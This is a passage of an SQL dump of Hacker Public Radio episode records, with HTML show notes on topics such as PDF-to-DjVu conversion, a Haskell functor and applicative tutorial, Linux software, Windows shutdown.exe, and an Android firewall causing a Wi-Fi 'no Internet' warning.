it\'s an easy build. Get the <a href=\"https://sourceforge.net/projects/djvu/files/GSDjVu/1.10\" target=\"_blank\">gsdjvu</a> code, and then follow its README instructions.\r\n</p>\r\n\r\n<p>\r\nOnce you\'ve built the Ghostscript driver, you can convert PDF to Djvu:\r\n</p>\r\n\r\n<pre><code>djvudigital --words foo.pdf foo.djvu\r\n</code></pre>\r\n',78,0,0,'CC-BY-SA','pdf, ebook, bloat, djvu',0,0,1),
(2772,'2019-03-19','My applications and software part 3',585,'A short show about the software I use in Linux Mint','<p>Hallo HPR listeners – in my recent episodes hpr2738 and hpr2746 I talked about some of the applications and software I regularly use as part of my day to day use of Linux Mint. This follow up show will continue with a few more of the same.</p>\r\n<ul>\r\n<li><p>CUPS – Common Unix Printing Software; printing in Linux with this utility is fairly well supported, if you don’t have a very recent printer it’s a good chance that CUPS will be able to find a driver for your printer if a Linux one has not been supplied when you bought it or through the manufacturers support site. In the menu just search for print and it will bring up the application for adding a new printer.</p></li>\r\n<li><p>Gparted – fully featured disc management tool for formatting and partitioning discs</p></li>\r\n<li><p>Document viewer – generic pdf viewer</p></li>\r\n<li><p>Software manager</p>\r\n<ul>\r\n<li>Synaptic package manager</li>\r\n</ul></li>\r\n<li><p>Terminal – apt command for updating the system and installing new software</p></li>\r\n<li><p>get_iplayer</p></li>\r\n</ul>\r\n',338,0,0,'CC-BY-SA','Software, applications, utilities',0,0,1),
(2774,'2019-03-21','CJDNS and Yggdrasil',629,'A summary of the things I like about CJDNS and Yggdrasil, and the places I think they could improve.','<p>This is my first time doing this sort of thing, so I’m sorry if it’s not very good.</p>\r\n<ul>\r\n<li><a href=\"https://github.com/cjdelisle/cjdns/\">https://github.com/cjdelisle/cjdns/</a></li>\r\n<li><a href=\"https://yggdrasil-network.github.io/\">https://yggdrasil-network.github.io/</a></li>\r\n</ul>',374,0,0,'CC-BY-SA','CJDNS,Yggdrasil',0,0,1),
(2776,'2019-03-25','Sub-Plots In Storytelling',1093,'Lostnbronx looks at the importance of tightly-structured subplots in storytelling.','<p>What makes for strong subplots? Why can some subplots be chopped out of a tale without harming it? Why can some be chopped out, and it actually makes the tale stronger? Is this modular approach the best way to bring in subplots, or is there another method that might be better?</p>\r\n<p>Story construction is a complicated topic; Lostnbronx tries (and largely fails) to make sense of this small part of it.</p>\r\n',107,105,0,'CC-BY-SA','stories, storytelling, sub-plots, lostnbronx',0,0,1),
(2777,'2019-03-26','The quest for the perfect laptop.',1867,'Knightwise is out looking for a new laptop and describes what he is looking for and why.','<p>Looking for a new laptop.</p>\r\n<p>Candidates</p>\r\n<ul>\r\n<li>HP Envy x360</li>\r\n<li>Lenovo X280</li>\r\n<li>Lenovo X380</li>\r\n<li>Lenovo X380 Yoga</li>\r\n<li>Lenovo X1</li>\r\n<li>Lenovo X1 Yoga</li>\r\n</ul>\r\n',111,0,0,'CC-BY-SA','computer, hardware, geek, buy',0,0,1),
(2786,'2019-04-08','My YouTube Channels',423,'A short show about some of my YouTube channels inspired by Ahuka','<p>Hallo HPR listeners this is Tony Hughes again coming from Blackpool in the UK.</p>\r\n<p>Recently Ahuka started a series on the YouTube channels that he subscribes to and this seems like a good topic to share some of my favourite YouTube channels. This time I’ll share some of the tech and Linux based channels I watch.</p>\r\n<ul>\r\n<li><p>bigclive.com – Clive strips down and tests equipment particularly cheap Chinese electronics - <a href=\"https://www.youtube.com/user/bigclivedotcom/videos\" class=\"uri\">https://www.youtube.com/user/bigclivedotcom/videos</a></p></li>\r\n<li><p>Category5 Technology TV – A general technology based show with a large focus on Linux and open source software. <a href=\"https://www.youtube.com/user/category5tv\" class=\"uri\">https://www.youtube.com/user/category5tv</a></p></li>\r\n<li><p>Explaining Computers – Exactly what it says on the tin, they review new computer hardware and computer related tech, including single board Computers such as the Raspberry Pi and Pine 64. <a href=\"https://www.youtube.com/user/explainingcomputers\" class=\"uri\">https://www.youtube.com/user/explainingcomputers</a></p></li>\r\n<li><p>DASGeek – Ryan is a fairly new person to Linux and is part of the Destination Linux podcast crew - <a href=\"https://destinationlinux.org/\" class=\"uri\">https://destinationlinux.org/</a> Ryan is an avid gamer and as well as reviewing Linux he will often look at the latest games and how well they will work on a Linux PC. <a href=\"https://www.youtube.com/channel/UCIme1suHyN7cAGrTy8RBdhQ\" class=\"uri\">https://www.youtube.com/channel/UCIme1suHyN7cAGrTy8RBdhQ</a></p></li>\r\n<li><p>Big Daddy Linux – A new video LUG which have a new episode every week at 8pm EST or you can watch a recording of the show later. <a href=\"https://www.youtube.com/channel/UCtZRKfyvx7GUEi-Lr7f4Nxg/videos\" class=\"uri\">https://www.youtube.com/channel/UCtZRKfyvx7GUEi-Lr7f4Nxg/videos</a></p></li>\r\n<li><p>Raspberry Pi – Videos from the Foundation and community contributors. <a href=\"https://www.youtube.com/channel/UCFIjVWFZ__KhtTXHDJ7vgng/videos\" class=\"uri\">https://www.youtube.com/channel/UCFIjVWFZ__KhtTXHDJ7vgng/videos</a></p></li>\r\n<li><p>Free Audacity Tutorials – Very handy for those of us that regularly record and edit audio with Audacity, for learning more about how to do various things with this software. <a href=\"https://www.youtube.com/user/FreeAudacityTutorial/videos\" class=\"uri\">https://www.youtube.com/user/FreeAudacityTutorial/videos</a></p></li>\r\n</ul>\r\n<p>And finally for this episode</p>\r\n<ul>\r\n<li>Linus Tech Tips – Another Computer review show all about tips and tricks relating to all stuff geeky. Be aware that this show is heavily sponsored although Linus does seem to be very fair with both praise and criticism for what he is reviewing. <a href=\"https://www.youtube.com/user/LinusTechTips/videos\" class=\"uri\">https://www.youtube.com/user/LinusTechTips/videos</a></li>\r\n</ul>\r\n',338,106,0,'CC-BY-SA','Linux, Computers, YouTube, Gaming, Electronics, Audacity',0,0,1),
(2778,'2019-03-27','Functor and applicative in Haskell',1841,'Brief introduction on functor and applicative patterns in Haskell and where they can be used','<p>Two common patterns that I seem to run all the time while working on my 4x space game are functor and applicative. This episode explains them briefly.</p>\r\n<h2 id=\"functor\">Functor</h2>\r\n<p>Functor is a way to apply function over a structure we don’t want to alter. Type of the structure stays same, but values inside of it can change. One of the most common one is list, but there are many others.</p>\r\n<p>Functor type class is defined below. There’s one function <code>fmap</code> that takes two parameters: a function from <code>a</code> to <code>b</code> and structure <code>f a</code>. Result will be structure <code>f b</code>.</p>\r\n<pre><code>class Functor f where\r\n    fmap :: (a -&gt; b) -&gt; f a -&gt; f b</code></pre>\r\n<p>This is fairly abstract, so couple example might help. First we define a little helper function that raises it’s argument to 2nd power (in the episode I talk about doubling the value, my mistake there).</p>\r\n<pre><code>-- | this really raises x to 2nd power and doesn&#39;t double it\r\ndouble x = x * x</code></pre>\r\n<p>Given a list of <code>Int</code> we can raise them to power of two by using <code>fmap</code>:</p>\r\n<pre><code>&gt; fmap double [1, 2, 3, 4, 5]\r\n[1, 4, 9, 16, 25]</code></pre>\r\n<p>Since function being applied to structure is type of <code>(a -&gt; b)</code>, we can change type of the value inside of the structure. Below is example of turning list of <code>Int</code> to list of <code>Text</code>.</p>\r\n<pre><code>&gt; fmap show [1, 2, 3, 4, 5]\r\n[&quot;1&quot;, &quot;2&quot;, &quot;3&quot;, &quot;4&quot;, &quot;5&quot;]</code></pre>\r\n<p>This pattern isn’t limited to list and there are many others. You can even define your own ones, if you’re so inclined. The pattern stays the same. One function, <code>fmap</code>, that takes function of type <code>(a -&gt; b)</code> and structure <code>f a</code> and turns it into structure of <code>f b</code>. Details how this is actually done depend on the specific functor.</p>\r\n<p>Other common functor is <code>Maybe</code> that is often used in cases where data might or might not be present. <code>Maybe a</code> has two possible values <code>Just a</code> indicating that value <code>a</code> is present and <code>Nothing</code> indicating that there is no value present. When <code>fmap</code> is used in this context, <code>Just a</code> will turn to <code>Just b</code> and <code>Nothing</code> will stay as <code>Nothing</code>.</p>\r\n<pre><code>&gt; fmap (x -&gt; x * x) $ Just 2\r\nJust 4\r\n&gt; fmap (x -&gt; x * x) Nothing\r\nNothing</code></pre>\r\n<p><code>Either a b</code> is sometimes used for value that can be correct or an error. It has two value constructors <code>Right b</code> indicates that value is correct, <code>Left a</code> indicates an error case. <code>a</code> and <code>b</code> don’t have to be of same type (and usually aren’t). For example, if we have <code>Either Text Int</code>, then we have value where error case is <code>Text</code> and correct value is <code>Int</code>.</p>\r\n<pre><code>&gt; fmap double $ Right 5\r\nRight 25\r\n&gt; fmap double $ Left &quot;distance calculation failed because of flux-capacitor malfunction&quot;\r\nLeft &quot;distance calculation failed because of flux-capacitor malfunction&quot;</code></pre>\r\n<p>Functors can be placed inside of functors. The only difference is that you have to reach through multiple layers. Simplest way of doing that is to compose multiple <code>fmap</code> functions together like in the example below. Pay attention to in which order nested functors are defined as <code>Maybe [Int]</code> and <code>[Maybe Int]</code> are different things. Former is for case where list of <code>Int</code> might or might not be present. Latter is for case where there’s always list, but single element inside of the list might or might not be present.</p>\r\n<pre><code>&gt; (fmap . fmap) double (Just [1, 2, 3, 4])\r\nJust [1, 4, 9, 16]\r\n&gt; (fmap . fmap) double Nothing :: Maybe Int\r\nNothing\r\n&gt; (fmap . fmap) double [Just 1, Just 2, Nothing, Just 3]\r\n[Just 1, Just 4, Nothing, Just 9]</code></pre>\r\n<p>There’s also infix operator, that does exactly same thing as <code>fmap</code>, called <code>&lt;$&gt;</code>. The choice which one to use is often either personal or depends on the surrounding code (because Haskell doesn’t use parenthesis in function application, so sometimes it’s easier to use <code>fmap</code> and sometimes <code>&lt;$&gt;</code>).</p>\r\n<pre><code>&gt; fmap show [1, 2, 3, 4, 5]\r\n[&quot;1&quot;, &quot;2&quot;, &quot;3&quot;, &quot;4&quot;, &quot;5&quot;]\r\n\r\n&gt; show &lt;$&gt; [1, 2, 3, 4, 5]\r\n[&quot;1&quot;, &quot;2&quot;, &quot;3&quot;, &quot;4&quot;, &quot;5&quot;]</code></pre>\r\n<p>There are many more functors, one place to check them is: <a href=\"https://hackage.haskell.org/package/base-4.12.0.0/docs/Data-Functor.html\" class=\"uri\">https://hackage.haskell.org/package/base-4.12.0.0/docs/Data-Functor.html</a></p>\r\n<h2 id=\"applicative\">Applicative</h2>\r\n<p>While functor works fine when function applied has only one parameter, we need applicative in cases of multiparameter functions. Calling <code>fmap (+) [1, 2]</code> will produce list of functions waiting for second parameter. While it would be possible to handle these cases manually, we like to abstract it to more general solution.</p>\r\n<pre><code>class Functor f =&gt; Applicative f where\r\n    pure :: a -&gt; f a\r\n    (&lt;*&gt;) :: f (a -&gt; b) -&gt; f a -&gt; f b</code></pre>\r\n<p>Applicative is similar to functor. The big difference is that function being applied is now embedded inside of same type of structure. While functor has <code>(a -&gt; b)</code>, applicative has <code>f (a -&gt; b)</code>.</p>\r\n<p>Below is an example of using list applicative to calculate all possible ways of summing two lists of <code>Int</code>.</p>\r\n<pre><code>&gt; (+) &lt;$&gt; [1, 2, 3] &lt;*&gt; [4, 5, 6]\r\n[5,6,7,6,7,8,7,8,9]</code></pre>\r\n<p><code>Maybe Int</code> works with the same pattern. First we use <code>&lt;$&gt;</code> to get started, this results <code>Maybe</code> containing a function that is waiting for second parameter. Then we use <code>&lt;*&gt;</code> to apply the second parameter so we get the result.</p>\r\n<pre><code>&gt; (+) &lt;$&gt; Just 2 &lt;*&gt; Just 5\r\nJust 7\r\n&gt; (+) &lt;$&gt; Just 2 &lt;*&gt; Nothing\r\nNothing</code></pre>\r\n<p>As long as there’s only <code>Just a</code> in play, result is <code>Just</code>, but as soon as there’s even single <code>Nothing</code> the end result will be nothing.</p>\r\n<p>If you have questions or comments, I would be delighted to hear about them. You can catch me on fediverse, where I’m <code>tuturto@mastodon.social</code>. Even better, you could record your own HPR episode.</p>\r\n<p>Ad astra!</p>\r\n',364,107,0,'CC-BY-SA','haskell, functor, applicative',0,0,1),
(2779,'2019-03-28','HTTP, IPFS, and torrents',711,'Replacing the web with new, decentralized protocols','<p>Some ramblings about how we might replace HTTP with more robust, decentralized protocols.</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/InterPlanetary_File_System\">https://en.wikipedia.org/wiki/InterPlanetary_File_System</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol\">https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol</a></li>\r\n</ul>',374,0,0,'CC-BY-SA','HTTP, IPFS, torrents',0,0,1),
(2780,'2019-03-29','My SBC Nextcloud Install Pt. 1 - Hardware',1375,'How I built my self-enclosed Nextcloud server using a single board computer and a RAID enclosure','<p>I explain the build process for my home Nextcloud server using a single board computer and a 4 bay RAID enclosure. This is part 1 of a 3 part series.</p>\r\n<p>My parts list for the server build:</p>\r\n<ul>\r\n<li><p>Rockpro64<br />\r\n<a href=\"https://www.pine64.org/?product=rockpro64-4gb-single-board-computer\" class=\"uri\">https://www.pine64.org/?product=rockpro64-4gb-single-board-computer</a></p></li>\r\n<li><p>eMMC module<br />\r\n<a href=\"https://www.pine64.org/?product=16gb-emmc\" class=\"uri\">https://www.pine64.org/?product=16gb-emmc</a></p></li>\r\n<li><p>USB Adapter for eMMC module<br />\r\n<a href=\"https://www.pine64.org/?product=usb-adapter-for-emmc-module\" class=\"uri\">https://www.pine64.org/?product=usb-adapter-for-emmc-module</a></p></li>\r\n<li><p>Power supply<br />\r\n<a href=\"https://www.pine64.org/?product=rockpro64-12v-5a-us-power-supply\" class=\"uri\">https://www.pine64.org/?product=rockpro64-12v-5a-us-power-supply</a></p></li>\r\n<li><p>Heatsink<br />\r\n<a href=\"https://www.pine64.org/?product=rockpro64-20mm-mid-profile-heatsink\" class=\"uri\">https://www.pine64.org/?product=rockpro64-20mm-mid-profile-heatsink</a></p></li>\r\n<li><p>90˚ male to female USB extension<br />\r\n<a href=\"https://www.amazon.com/wawpi-Cable-Extension-Degree-Female/dp/B01EDOGO4E\" class=\"uri\">https://www.amazon.com/wawpi-Cable-Extension-Degree-Female/dp/B01EDOGO4E</a></p></li>\r\n<li><p>4 bay RAID enclosure<br />\r\n<a href=\"https://www.mediasonic.ca/product.php?id=1358153144\" class=\"uri\">https://www.mediasonic.ca/product.php?id=1358153144</a></p></li>\r\n<li><p>HDDs<br />\r\nThe 4TB HDDs were ones I already had but you can use any ones, just make sure they are the same brand/model/size/etc to minimize any complications.</p></li>\r\n</ul>\r\n<p>minnix at uymail dot com for help, questions, or just general chatter</p>\r\n',375,0,0,'CC-BY-SA','nextcloud,single board computer,home server,sbc,arm',0,0,1),
(2783,'2019-04-03','The Windows \"Shutdown.exe\" Command Explained',923,'A rundown of the Windows \"shutdown.exe\" command.','<h3>Shutdown.exe</h3>\r\n<ul>\r\n<li>Introduced in Windows 2000 as a way to shutdown the PC via the command prompt.</li>\r\n<li>Included in all versions since Windows 2000 all the way to Windows 10 and Windows Server 2019.</li>\r\n<li>ReactOS, the open source binary-compatible clone of Windows, also includes the shutdown.exe command and the commands are the same.</li>\r\n<li>Located in %windir%\\System32. The variable %windir% is usually c:\\windows. In ReactOS, the variable is usually c:\\reactos (failed to mention this in the recording).\r\n</li>\r\n</ul>\r\n<p>Links: </p>\r\n<ul>\r\n<li><a href=\"https://ipfs.io/ipfs/QmXoypizjW3WknFiJnKLwHCnL72vedxjQkDDP1mXWo6uco/wiki/Shutdown.exe.html\">https://ipfs.io/ipfs/QmXoypizjW3WknFiJnKLwHCnL72vedxjQkDDP1mXWo6uco/wiki/Shutdown.exe.html</a></li>\r\n<li><a href=\"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown\">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown</a></li>\r\n<li><a href=\"https://ss64.com/nt/shutdown.html\">https://ss64.com/nt/shutdown.html</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Shutdown_(computing)#Windows_and_ReactOS\">https://en.wikipedia.org/wiki/Shutdown_(computing)#Windows_and_ReactOS</a></li>\r\n</li>\r\n</ul>\r\n',152,0,0,'CC-BY-SA','shutdown, windows, commandprompt, cmd',0,0,1),
(2805,'2019-05-03','My 50th Show',1064,'This is a review of the other 49 shows I\'ve posted in the last 3 years','<p>Hallo this is again Tony Hughes for HPR. This is an auspicious show for me as it’s my 50th show that I have recorded and released on HPR in my own right. However prior to my 1st show in my own right I did guest on 2 shows.</p>\r\n<p>The first of these was:</p>\r\n<ul>\r\n<li>hpr0844 :: The Flying Handbag hosted by HPR Volunteers<br />\r\nReleased: 2011-10-26</li>\r\n</ul>\r\n<p>Which was a show that was recorded at Barcamp Blackpool in 2011, when a group of us got together to record a podcast, the hilarious thing was that the only place we could find to record was a stairwell which happened to be next to the toilets, definitely not family friendly but if you want a laugh have a listen.</p>\r\n<p>The next show I appeared on was an interview I did with Ken Fallon at my first OggCamp in the same year.</p>\r\n<ul>\r\n<li>hpr0863 :: Tony Hughes Free Cycle hosted by Ken Fallon<br />\r\nReleased: 2011-11-22.</li>\r\n</ul>\r\n<p>Ken was as usual trying to recruit new hosts and interviewed me with the hope that I would become one. Well I did but it took another 5 years before I finally recorded my first show in my own right.</p>\r\n<p>First just to say the idea for this show comes from hpr2700 in which Ken created a script to automate the bot voice reading a list of every show that has been released on HPR, so to celebrate my 50th Show I thought I would list my shows but with me running through them and do a brief summary of the show where appropriate.</p>\r\n<ol type=\"1\">\r\n<li><p>hpr2051 :: My Linux Journey<br />\r\nReleased on 2016-06-13<br />\r\nin this episode I talked about my journey in computing and starting to use Linux</p></li>\r\n<li><p>hpr2056 :: Interview with a young hacker<br />\r\nReleased on 2016-06-20<br />\r\nThis was my first of several interviews with <span class=\"citation\" data-cites=\"All_about_Code\">@All_about_Code</span> at my local Raspberry Jam</p></li>\r\n<li><p>hpr2065 :: Whats in My Bag<br />\r\nReleased on 2016-07-01<br />\r\nLooking at this show so tells me I have to redo this show as my bag is very different these days</p></li>\r\n<li><p>hpr2076 :: What Magazines I read Part 1<br />\r\nReleased on 2016-07-18<br />\r\njust what the title said, I talked about the magazines I was reading at that point in time.</p></li>\r\n<li><p>hpr2087 :: Magazines I read Part 2<br />\r\nReleased on 2016-08-02<br />\r\nThis was a follow up of the last show</p></li>\r\n<li><p>hpr2097 :: New Toys<br />\r\nReleased on 2016-08-16<br />\r\nI talked about my hardware journey over the last 30 odd years and talked about the i7 system I had just bought 2nd hand</p></li>\r\n<li><p>hpr2101 :: What’s on my podcatcher<br />\r\nReleased on 2016-08-22<br />\r\nA show about the podcasts I listen to.</p></li>\r\n<li><p>hpr2144 :: An Interview with All About Code at Manchester BarCamp<br />\r\nReleased on 2016-10-20<br />\r\na follow up interview with Josh</p></li>\r\n<li><p>hpr2151 :: BarCamp Manchester part 2<br />\r\nReleased on 2016-10-31<br />\r\nAn interview with Claire, the organiser of BarCamp Manchester.</p></li>\r\n<li><p>hpr2157 :: BarCamp Manchester part 3<br />\r\nReleased on 2016-11-08<br />\r\nThis was an interview with Alan O’Donohoe who had started the Raspberry Jam movement</p></li>\r\n<li><p>hpr2257 :: Watt OS<br />\r\nReleased on 2017-03-28<br />\r\nAcer Aspire One Netbook – Review</p></li>\r\n<li><p>hpr2265 :: WattOS on Lenovo X61s<br />\r\nReleased on 2017<br />\r\nLenovo X61s – Review</p></li>\r\n<li><p>hpr2271 :: Raspberry Pi Zero W<br />\r\nReleased on 2017-04-17<br />\r\nReview Episode on the then New Pi Zero W</p></li>\r\n<li><p>hpr2280 :: Lenovo X61s Part 2<br />\r\nReleased on 2017-04-28<br />\r\nFollow up review after a SSD upgrade and using Linux Lite</p></li>\r\n<li><p>hpr2286 :: Surviving a Stroke<br />\r\nReleased on 2017-05-08<br />\r\nA very personal episode about my surviving a Stroke in February 2017</p></li>\r\n<li><p>hpr2295 :: MX Linux<br />\r\nReleased on 2017-05-19<br />\r\nA review episode using this OS on a Lenovo X230i after a hardware boot issue with Linux Mint and an SSD</p></li>\r\n<li><p>hpr2331 :: Liverpool Makefest 2017 Show 1<br />\r\nReleased on 2017-07-10<br />\r\nThe first of a number of interview shows from the 2017 Liverpool Makefest</p></li>\r\n<li><p>hpr2336 :: Liverpool Makefest 2017 Show 2<br />\r\nReleased on 2017-07-17</p></li>\r\n<li><p>hpr2341 :: Liverpool Makefest 2017 Show 3<br />\r\nReleased on 2017-07-24</p></li>\r\n<li><p>hpr2346 :: Liverpool Makefest 2017 Show 4<br />\r\nReleased on 2017-07-31</p></li>\r\n<li><p>hpr2352 :: Liverpool Makefest 2017 Show 5<br />\r\nReleased on 2017-08-08</p></li>\r\n<li><p>hpr2362 :: Raspbian X86 on Lenovo x61s<br />\r\nReleased on 2017-08-22<br />\r\nReview of Raspbian X86 on a Lenovo X61s</p></li>\r\n<li><p>hpr2366 :: Making Bramble Jelly<br />\r\nReleased on 2017-08-28<br />\r\nJust what it says on the tin I talk about making Bramble jelly,</p></li>\r\n<li><p>hpr2374 :: How to Make Sauerkraut<br />\r\nReleased on 2017-09-07<br />\r\nAnother food show on how to make Sauerkraut</p></li>\r\n<li><p>hpr2380 :: Raspbian X86 on P4 Tower<br />\r\nReleased on 2017-09-15<br />\r\nFollow up this time running Raspbian X86 on an old P4 Tower</p></li>\r\n<li><p>hpr2405 :: Nokia 6 Review<br />\r\nReleased on 2017-10-20<br />\r\nI reviewed my new phone</p></li>\r\n<li><p>hpr2432 :: Living with the Nokia 6 – an update to HPR 2405<br />\r\nReleased on 2017-11-28<br />\r\nFollow up update show having lived with the phone for a couple of months.</p></li>\r\n<li><p>hpr2442 :: The sound of Woodbrooke Quaker Study centre in the Spring<br />\r\nReleased on 2017-12-12<br />\r\nThis was a soundscape recording I made at Woodbrooke Quaker Study Centre in Birmingham UK while I was there in April 2017.</p></li>\r\n<li><p>hpr2579 :: Ubuntu 18.04 Mate<br />\r\nReleased on 2018-06-21<br />\r\nA review of the recently released Ubuntu 18.04 Mate</p></li>\r\n<li><p>hpr2590 :: Blowing a PC Power Supply<br />\r\nReleased on 2018-07-06<br />\r\nA show about how not to blow your PC power supply</p></li>\r\n<li><p>hpr2595 :: New laptop bargain?<br />\r\nReleased on 2018-07-13<br />\r\nA review on my recently purchased secondhand Toshiba Z30 laptop</p></li>\r\n<li><p>hpr2601 :: Liverpool Makerfest 2018<br />\r\nReleased on 2018-07-23<br />\r\nChris Dell</p></li>\r\n<li><p>hpr2606 :: Liverpool Makefest 2018 - interview with Dan Lynch<br />\r\nReleased on 2018-07-30<br />\r\nA podcast Legend</p></li>\r\n<li><p>hpr2612 :: Liverpool Makefest 2018 - interview with Joe aka Concrete Dog<br />\r\nReleased on 2018-08-07<br />\r\nAbout Rocketry</p></li>\r\n<li><p>hpr2616 :: Liverpool Makefest 2018 - interview with Josh - A.K.A - All About Code<br />\r\nReleased on 2018-08-13.<br />\r\nThis is another short interview recorded at Liverpool Makefest, with Josh talking about EduBlocks.</p></li>\r\n<li><p>hpr2621 :: Liverpool Makefest 2018 - Chan’nel Thomas a.k.a little pink maker<br />\r\nReleased on 2018-08-20<br />\r\nI talk to Chan’nel Thomas aka little pink maker.</p></li>\r\n<li><p>hpr2626 :: Liverpool Makefest 2018 - interviews with Helen and Chris<br />\r\nReleased on 2018-08-27<br />\r\nIn this episode I talk to Helen from Manchester Hackspace and Chris from Wirral Code Club</p></li>\r\n<li><p>hpr2632 :: Liverpool Makefest 2018 - interviews with Robert and Carl<br />\r\nReleased on 2018-09-04<br />\r\nIn this episode I talk to Robert from Roberts Workshop and Carl from Edgehill University</p></li>\r\n<li><p>hpr2636 :: Liverpool Makefest 2018 - interviews with Noel from JMU FabLab<br />\r\nReleased on 2018-09-10</p></li>\r\n<li><p>hpr2641 :: Liverpool Makefest 2018 - interview with Rachel from the MicroBit Foundation<br />\r\nReleased on 2018-09-17</p></li>\r\n<li><p>hpr2646 :: Liverpool Makefest 2018 - Interview with Steve and Gerrard from the Liverpool Astronomical society.<br />\r\nReleased on 2018-09-24</p></li>\r\n<li><p>hpr2652 :: Liverpool Makefest 2018 - Interview with Caroline and John<br />\r\nReleased on 2018-10-02 under a CC-BY-SA license.<br />\r\nThis was the final interview from Makefest 2018 in Liverpool. In this interview I interview one of the founder members of Makefest, Caroline Keep, and the Head Teacher of the school where she works, John Carling.</p></li>\r\n<li><p>hpr2663 :: Short review on a 2.5 inch SSD/HDD caddy<br />\r\nReleased on 2018-10-17<br />\r\nQuick hardware review</p></li>\r\n<li><p>hpr2702 :: Audacity set up and response to episode 2658<br />\r\nReleased on 2018-12-11<br />\r\nI post my response to show 2658 by Dave and Al</p></li>\r\n<li><p>hpr2735 :: Soffritto<br />\r\nReleased on 2019-01-25<br />\r\nAnother food show</p></li>\r\n<li><p>hpr2738 :: My Applications<br />\r\nReleased on 2019-01-30<br />\r\nThis and my 47th episode were about the applications I use in Linux</p></li>\r\n<li><p>hpr2746 :: My software part 2<br />\r\nReleased on 2019-02-11</p></li>\r\n<li><p>hpr2772 :: My applications and software part 3<br />\r\nA short show about the software I use in Linux Mint</p></li>\r\n<li><p>hpr2786 :: My YouTube Channels<br />\r\nA short show about some of my YouTube channels inspired by Ahuka</p></li>\r\n</ol>\r\n<p><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" class=\"uri\">https://hackerpublicradio.org/correspondents.php?hostid=338</a></p>\r\n',338,0,0,'CC-BY-SA','HPR, Linacityux, podcasting, Audacity',0,0,1),
(2784,'2019-04-04','The Yamaha Disklavier',1440,'I talk about the Yamaha Disklavier DKC500RW that\'s in my office at work','<p>In this episode I talk about the <a href=\"https://en.wikipedia.org/wiki/Disklavier\" target=\"_blank\">Yamaha Disklavier</a> DKC500RW that\'s in my office at work. This is a very high-tech player piano and one of the coolest pieces of music gear I\'ve ever seen.</p>\r\n\r\n<h3>Photo Album (click image)</h3>\r\n\r\n<p><a data-flickr-embed=\"true\"  href=\"https://www.flickr.com/photos/137675441@N05/albums/72157707383776874\" title=\"Yamaha Disklavier\" target=\"_blank\"><img src=\"https://farm8.staticflickr.com/7862/33424303208_c9f831fce7.jpg\" width=\"500\" height=\"375\" alt=\"Yamaha Disklavier\"></a></p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li>Website showing how to determine which model disklavier you have: <a href=\"https://yamahaden.com/news/disklavier-tips/item/276-how-to-determine-your-disklavier-model/276-how-to-determine-your-disklavier-model\" target=\"_blank\">Yamahaden</a></li>\r\n<li><a href=\"https://www.kuhmann.com/Yamaha.htm\" target=\"_blank\">DisklavierTM  World</a>: This is a privately operated, Public Service (non-profit) webpage. 10,781 piano-music files in \'FIL\' (e-SEQ) & MIDI format & Software for the Yamaha Disklavier. PUBLIC-DOMAIN / \'Live\' MIDI-Performances / FREE Sequences</li>\r\n<li>Video: Jonathan Kulp, <em>Three Easy Pieces for Piano Four-Hands</em>: <a href=\"https://www.youtube.com/watch?v=y4loSIApjPA\" target=\"_blank\">Video of premiere performance</a></li>\r\n<li>Video: <a href=\"https://youtu.be/_hNzz_DubCo\" target=\"_blank\">Disklavier in action</a></li>\r\n</ul>',238,0,1,'CC-BY-SA','Music, Piano, Keyboard, Musical Instruments, Player Pianos, Recording Devices',0,0,1),
(2810,'2019-05-10','Wi-Fi on Android',462,'Ken fixes an Android Firewalled Wi-Fi connection that reports no Internet and won’t connect','<h3>Background</h3>\r\n<p>\r\nYou\'re running a firewall on your work and home networks right, so of course you\'re running one on your Smart Phone. Given this device holds more information about you than you probably know yourself, it would be only prudent to make sure that you are protecting what gets in but also what gets out.\r\n</p>\r\n<p>\r\nI run <a href=\"https://f-droid.org/en/packages/dev.ukanth.ufirewall/\">AFWall+</a> which is available from the <a href=\"https://f-droid.org/\">F-Droid</a> app store. It runs fine on <a href=\"https://www.lineageos.org/\">LineageOS</a>.\r\n</p>\r\n<p>\r\nI then set it on the children\'s phone so that no application is allowed to use mobile data, and then only applications that need Internet get Internet Access. This works well as it\'s a normal use case for mobile applications to have intermittent access to the Internet.\r\n</p>\r\n<p>\r\nI see no reason why the Linux Kernel should need unfettered access to the Internet, so it\'s not allowed out. One issue you may come across is that even though you know that there is a Connection your phone doesn\'t, and so it will display the <em>Wi-Fi Connected, no Internet</em> message. \r\n</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2810_1.png\" />\r\n</p>\r\n<p>\r\nI\'m not sure how this check is done but <a href=\"https://android.stackexchange.com/users/53535/abqnm\">abqnm</a> suggests at in the StackExchange question <a href=\"https://android.stackexchange.com/questions/63481/how-does-android-determine-if-it-has-an-internet-connection\">How does Android determine if it has an Internet connection?</a> that it may be related to Google Cloud Messaging.\r\n</p>\r\n\r\n<quote>\r\n... this means that the device is unable to receive a response from GCM (Google Cloud Messaging, the framework that handles push notifications). This traffic is sent through ports 5228, 5229, and 5230. If the AP is blocking or interfering with traffic on those ports, push notifications won\'t work ... \r\n<quote>\r\n<p>\r\nI do indeed see blocked attempts by Google Play Services on my own phone, but not on the other phones that have no google services installed. The only entry I see in the logs is an ICMP attempt to \"Comcast Cable Communications, Inc\". If you know more please record a show for <a href=\"https://hackerpublicradio.org\">Hacker Public Radio</a> about it.\r\n</p>\r\n\r\n<h3>Giving Access</h3>\r\n<p>\r\nNormally you will get a message saying that the Wi-Fi has no Internet access. \r\n</p>\r\n<p>\r\n<img alt=\"Android System. Wi-Fi has no Internet access. Tap for options\" src=\"https://hackerpublicradio.org/eps/hpr2810_2.png\" />\r\n</p>\r\n<p>\r\nIf you tap the message a popup will allow you to stay connected and will let you remember the choice.\r\n</p>\r\n<p>\r\n<img alt=\"OpenWireless.Org. This network has no Internet access. Stay connected? [] Don\'t ask again for this network NO YES\" src=\"https://hackerpublicradio.org/eps/hpr2810_3.png\" />\r\n</p>\r\n<p>\r\nIn some cases the router helpfully resets the connection before you can reply to the message meaning it goes into a loop continually popping up the message but not reacting to it.\r\n</p>\r\n<p>\r\nIn this case we can use <a 